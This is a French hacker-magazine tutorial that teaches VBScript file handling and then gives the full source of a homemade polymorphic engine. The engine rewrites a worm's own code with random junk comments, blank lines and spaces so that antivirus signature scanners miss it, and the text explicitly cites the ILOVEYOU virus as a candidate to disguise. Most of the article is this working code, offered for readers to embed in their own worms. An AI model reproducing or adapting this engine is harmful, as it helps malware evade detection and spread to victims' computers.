/////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// Polymorphisme .vbs /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// La dernière tendance est aux worms .vbs (Visual Basic Scripting) et aux autres scripts(.js par exemple) car les utilisateurs s'en méfient moins que les exe ou les com et ils sont plus facile à programmer. On peut trouver ces scripts sur n'importe quelle page web. Certains ordi ne préviendront donc pas au lancement d'un script qui peut être sympa :) Les antivirus reconnaisent en général la signature d'un virus (son code). Il faut donc utiliser la technique de polymorphisme qui consiste à modifier le code d'un virus sans changer ses fonctions. Par exemple , vous prenez le code de "ILOVEYOU" et vous lui rajoutez un moteur de polymorphisme et les antivirii ne le reconnaitront pas comme le virus "ILOVEYOU". J'en ai donc construit un assez rudimentaire en vbs. Mais avant d'attaquer le code il faut avoir qqq base en vbs ou alors en Visual Basic X. Le VBScript ressemble au Visual Basic mais il a de nombreuses commandes en moins, importantes ou pas (comme Iff , Choose, ...). Les commandes I/O (Input/Output) sont totalement différentes. Elles ont été remplacé en utilisant le programme avec l'objet FileSystemOject (FSO). Le FSO objet est contenu dans la biblothèque de type scripting qui est localisé dans le fichier scrrun.dll dans le dossier system du système d'exploitation utilisé. En premier, crée un FSO objet en utilisant la métode CreateObject. On le fait en VBScript avec : Dim fso Set fso = CreateObject(Scripting.FileSystemObject) Dans cette exemple, Scripting est le nom de la bibliothèque de type et FileSystemObject est l'objet que tu veux créer. En deuxième, il faut utilisé la méthode apppropriée de l'objet FileSystemObject. Par exemple pour créer un nouveau objet, il faut utiliser CreateTextFile. Ce qui donne : Dim fso Set fso = CreateObject(Scripting.FileSystemObject) fso.CreateTextFile "Polymorphisme.vbs" Par exemple pour lire ou écrire dans un fichier, il faut d'abord l'ouvrir grâce à OpenTextFile (en utilisant comme premier argument le nom du fichier à ouvrir et en deuxième argument le mode d'ouverteur )ou à OpenAsTextStream ( . Ce qui donne: Dim fso Const Lecture = 1, Ecriture = 2 , Random = 3 Set fso = CreateObject(Scripting.FileSystemObject) Set ts = fso.OpenTextFile("Polymorphisme.vbs", Lecture) ou Dim fso, f, ts Const Lecture = 1, Ecriture = 2 , Random = 3 Set fso = CreateObject(Scripting.FileSystemObject) f = fso.GetFile("Polymorphisme.vbs") Set ts = f.OpenAsTextStream(Ecriture,0) Puis on utilise les méthodes Write, WriteLine, ReadLine, Read, ReadAll. ensuite on ferme les fichiers ouverts avec la proprièté Close. Bon, maintenant que vous avez les bases, on va voir comment marche mon moteur. Il crée un fichier de nom aléatoire avec des caractères ASCII compris entre 65 et 90 (c'est à dire les lettres de l'alphabet en majuscules )et de longueur comprise entre 3 et 11 lettres. En gros, il prend ensuite la première ligne de votre virus ou worm et la copie dans le nouveau fichier créé. Il fait la même chose pour la deuxième ligne de votre code mais entre temps il aura rajouté des arguments (c'est à dire des lignes commençant par le caractère ' ) ou des entrées ou des espaces. Ce type de polymorphisme est assez contraignant car la taille du worm est exponentielle : sa taille sera multipliée par 2 à chaque fois !!!!!!!!!!!!! Ca marche au moins. Peut-être dans un prochain RTCmag, je ferais un trop bon moteur de polymorphisme. Ba on verra........ Voici mon moteur de polymorphisme. Si vous voulez l'utiliser, n'oubliez pas d'enlever les arguments, les espaces et les entrée en trop et remplacez le contenu de la variable Moi par le nom du fichier où vous mettez mon code. --------------------------------------------------------------------------- Dim fso, f, ts, MyFile, Nom, Hasard, Moi, DebText, Premier ' Déclare les 'variables Const Lecture = 1, Ecriture = 2 'declare des constantes pour que le code 'soit plus lisible Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0 Const vbBinaireComparaison = 0 Moi = "poly.vbs" ' Moi est le nom du fichier où vous mettez mon moteur 'de polymorphisme Premier = 0 Nom = HOho +".vbs" 'appel la fonction HOho Randomize Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile Nom 'créer un fichier Set f = fso.GetFile(Nom) Set ts = f.OpenAsTextStream(Ecriture,TristateFalse) 'l'ouvre en 'écriture Set MyFile = fso.OpenTextFile(Moi, lecture) 'ouvre ce fichier en mode 'lecture 'Voici une petite boucle qui est l'essentiel dans mon moteur. La boucle 's'arrète 'quand le programme esr arrivé au bout du fichier de votre virus. Do Hasard = Int(Rnd * 3 + 1) If Hasard = 1 Then DebText = Enter If Hasard = 2 Then DebText = Code If Hasard = 3 Then DebText = Argument If Hasard = 4 Then DebText = SpaceFunc(20, 40) ts.writeline DebText If MyFile.AtEndOfStream = true then Exit do Loop ts.Close MyFile.Close Function Code() dim Verif Code = MyFile.ReadLine Verif = instr(code, " Moi = ") if Verif > 0 and Premier = 0 then Code = " Moi = " + """" + Nom + """" : Premier = 1 End Function 'Cette permet de créer une chaîne de caractère ASCII compris entre 14 et '255 ( et 'ouais car avant 13 les caractères comme [entrée], [tab] font planter le script vbs 'meme s'ils sont dans des arguments) de longueur 'comprise entre NbMin et NbMax. Function Chaine_Aleatoire(NbMin, NbMax) Dim z, i Randomize z = Int(Rnd * (NbMax - NbMin) + NbMin) For i = 0 To z Chaine_Aleatoire = Chr(14 + Int(Rnd * 241)) + Chaine_Aleatoire Next End Function 'Cette fonction permet de créer une chaîne de caractère contenant des espaces de 'nombre compris entre le nombre de la variable MinSpace et celle de la variable 'MaxSpace. Function SpaceFunc(MinSpace, MaxSpace) Dim b b = Int(Rnd * (MaxSpace - MinSpace) + MinSpace) SpaceFunc = Space(b) End Function Function Argument() Dim Comment, Espace, NbAleatoire Argument = Chaine_Aleatoire(Int(Rnd * 5), Int(Rnd * 10) + 5) Espace = SpaceFunc(Int(Rnd * 3), Int(Rnd * 5) + 3) NbAleatoire=Int(Rnd * 2) + 1 If NbAleatoire = 1 then Comment = vbCrLf If NbAleatoire = 2 then Comment = Espace If NbAleatoire = 3 then Comment = "" Argument = "'" + Argument + Comment End Function 'Cette fonction permet de créer une chaîne de caractère contenant 1 à 4 [entrée] 'en utilisant comme proprièté vbCrLf car vbCrLf =[entrée] Function Enter() Dim c, d d = Int(Rnd * 4) + 1 For c = 0 To d Enter = Enter + vbCrLf Next End Function 'Cette fonction permet de créer une chaîne de caractère de longueur entre 3 et 11 et 'avec comme caractère des majuscules car le code ASCII est compris entre 25 et 90 . Function HOho() dim n, m, longueur randomize longueur = int(rnd * 8) + 3 for n = 1 to longueur m = chr(int(rnd*25)+65)+m next HOho = m End Function --------------------------------------------------------------------------- SLy